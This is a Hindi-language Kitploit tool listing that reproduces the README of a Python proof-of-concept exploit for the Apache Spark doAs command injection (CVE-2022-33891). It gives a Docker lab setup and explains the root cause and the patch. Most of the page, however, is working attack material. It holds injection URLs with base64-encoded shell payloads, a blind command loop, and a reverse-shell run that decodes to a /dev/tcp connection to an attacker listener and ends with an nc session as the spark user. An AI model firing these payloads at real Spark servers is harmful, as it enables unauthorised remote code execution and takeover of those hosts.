Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2022-33891 — Python प्रूफ-ऑफ-कॉन्सेप्ट Apache Spark Shell Command Injection (CVE-2022-33891) के लिए, जिसमें sleep-आधारित पहचान, इंटरैक्टिव कमांड निष्पादन, और कमजोर Spark UIs के विरुद्ध रिवर्स शेल क्षमताएँ शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/akbartrilaksana/cve-2022-33891
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोल
GitHubakbartrilaksana/cve-2022-33891

cve-2022-33891

Python प्रूफ-ऑफ-कॉन्सेप्ट Apache Spark Shell Command Injection (CVE-2022-33891) के लिए, जिसमें sleep-आधारित पहचान, इंटरैक्टिव कमांड निष्पादन, और कमजोर Spark UIs के विरुद्ध रिवर्स शेल क्षमताएँ शामिल हैं।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
रिपॉजिटरी देखें
3128 महीने पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2022-33891

Apache Spark शेल कमांड इंजेक्शन भेद्यता

Apache Spark शेल कमांड इंजेक्शन भेद्यता का शोषण करने के लिए एक Python POC। मैंने बाहर कुछ अन्य POCs देखे लेकिन वे बहुत संदिग्ध लग रहे थे। यह एक साफ और सरल है।

मैंने इस शोषण/भेद्यता की खोज नहीं की। मैं सिर्फ समुदाय के लिए एक सुरक्षित POC बनाना चाहता था ^.^

प्रभावित संस्करण

Apache Spark संस्करण 3.0.3 और पहले, संस्करण 3.1.1 से 3.1.2, और संस्करण 3.2.0 से 3.2.1

भेद्य घटक

root@kitploit:~
http://localhost:8080/?doAs=`[यहाँ कमांड इंजेक्शन]`

उदाहरण

root@kitploit:~
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... 10 सेकंड के लिए सोता है

सेटअप

आपको स्पार्क का एक भेद्य संस्करण चाहिए जिसमें एक एकल कॉन्फ़िग विकल्प बदला गया हो।

  • निर्भरताएँ स्थापित करें: $ pip3 install -r requirements.txt
  • spark/ निर्देशिका में निर्देशिका बदलें।
  • spark/ निर्देशिका में दिए गए docker-compose.yml का उपयोग करें और docker-compose up चलाएँ। कंटेनर को स्पिन अप होने दें।
  • एक नए टर्मिनल में, sudo docker exec -it spark_spark_1 /bin/bash दर्ज करें।
  • कंटेनर bash सत्र में, दर्ज करें: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • वैकल्पिक रूप से, यह सुनिश्चित करने के लिए spark-defaults.conf की सामग्री को cat करें कि यह ठीक दिखता है।
  • इंटरैक्टिव bash शेल से बाहर निकलें और अपनी docker-compose प्रक्रिया को Ctl-C करें।
  • एक बार कंटेनर शालीनता से बंद हो जाएं, तो docker-compose up को फिर से चलाएँ
  • उपयोग

    root@kitploit:~
    usage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
    
    CVE-2022-33891 Python POC शोषण स्क्रिप्ट
    
    वैकल्पिक तर्क:
      -h, --help            यह सहायता संदेश दिखाएँ और बाहर निकलें
      -u URL, --url URL     शोषण करने के लिए URL.
      -p PORT, --port PORT  शोषण लक्ष्य का पोर्ट.
      --revshell            रिवर्स शेल विकल्प.
      -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                            आपका सुनने वाला होस्ट IP पता.
      -lp LISTENINGPORT, --listeningport LISTENINGPORT
                            आपका सुनने वाला होस्ट पोर्ट.
      --check               स्लीप टेस्ट के साथ जाँचता है कि लक्ष्य शोषण योग्य है या नहीं
    
    

    उदाहरण

    जाँचें कि लक्ष्य भेद्य है या नहीं:

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
    [*] साइट से कनेक्ट करने का प्रयास किया जा रहा है...
    [*] 10 सेकंड का स्लीप टेस्ट किया जा रहा है...
    [*] पूर्ण शोषण अनुरोध है: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
    [+] स्लीप 10 सेकंड था! यह लक्ष्य संभवतः भेद्य है!
    

    एक कमांड प्रॉम्प्ट लूप में कमांड जारी करें:

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
    [*] "इंटरैक्टिव" मोड!
    [!] नोट: आपको इन कमांड से कोई आउटपुट प्राप्त नहीं होगा। निष्पादन का परीक्षण करने के लिए ping या sleep जैसी किसी चीज़ का उपयोग करने का प्रयास करें।
    > sleep 5
    [*] पूर्ण शोषण अनुरोध है: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
    >
    

    एक रिवर्स शेल निष्पादित करें:

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
    [*] रिवर्स शेल मोड।
    [*] निम्नलिखित दर्ज करके अपना सुनने वाला सेट अप करें:
     nc -nvlp 1337
    [!] जब आपका सुनने वाला सेट अप हो जाए, तो एंटर दबाएँ!
    [*] पूर्ण शोषण अनुरोध है: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
    
    ...[दूसरे टर्मिनल में]...
    
    husky@dev-kde:~/spark$ nc -nvlp 1337
    Listening on 0.0.0.0 1337
    Connection received on 172.21.0.2 55278
    sh: 0: can't access tty; job control turned off
    $ whoami
    spark
    

    अधिक जानकारी

    कमांड इंजेक्शन इसलिए होता है क्योंकि Spark ?doAs पैरामीटर में पारित उपयोगकर्ता की समूह सदस्यता की जाँच एक कच्चे लिनक्स कमांड का उपयोग करके करता है।

    id को उपयोगकर्ता के रूप में पारित करने से ट्रेसबैक में यह त्रुटि उत्पन्न होती है:

    root@kitploit:~
    spark_1  | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
    spark_1  | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1:
    spark_1  | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
    spark_1  | org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'id') exited with code 1
    
    

    यहाँ, जावा ने निर्णय लिया है कि एक निर्दिष्ट उपयोगकर्ता के लिए समूह सदस्यता की जाँच करने के लिए id कमांड को bash -c में पारित करना सबसे अच्छा होगा। समस्या यह है कि यह कमांड इंजेक्शन की भी अनुमति देता है।

    पैच किए गए संस्करण bash -c id के बजाय /bin/id कमांड का पूरा पथ रखने के लिए इस कॉल को पैरामीट्रिज़ करते हैं।

    यह ध्यान देने योग्य है कि कमांड निष्पादन के दौरान पृष्ठ पर कुछ भी प्रतिबिंबित नहीं होता है, इसलिए यह ब्लाइंड OS इंजेक्शन है। आपके कमांड चलते हैं, लेकिन इसका कोई संकेत नहीं होगा कि वे काम कर रहे हैं या नहीं या यहां तक कि आप जिस प्रोग्राम को चला रहे हैं वह लक्ष्य पर है या नहीं। उदाहरण के लिए, इस रिपॉजिटरी में docker-compose.yml फ़ाइल के साथ स्पिन किए गए कंटेनर में ping नहीं है, इसलिए पिंगबैक के माध्यम से कमांड इंजेक्शन की जाँच करना काम नहीं करेगा। लेकिन आपको पता नहीं चलेगा कि ऐसा है, इसलिए आप सोचते रहेंगे कि यह काम किया या नहीं।

    स्लीप टेस्ट एक सुरक्षित शर्त है ^.^

    संदर्भ

    • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
    • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
    • https://spark.apache.org/docs/2.1.0/configuration.html
    • https://github.com/W01fh4cker/cve-2022-33891 (मैं इस POC का उपयोग करने की अनुशंसा नहीं करता)
    टूल डाउनलोड करें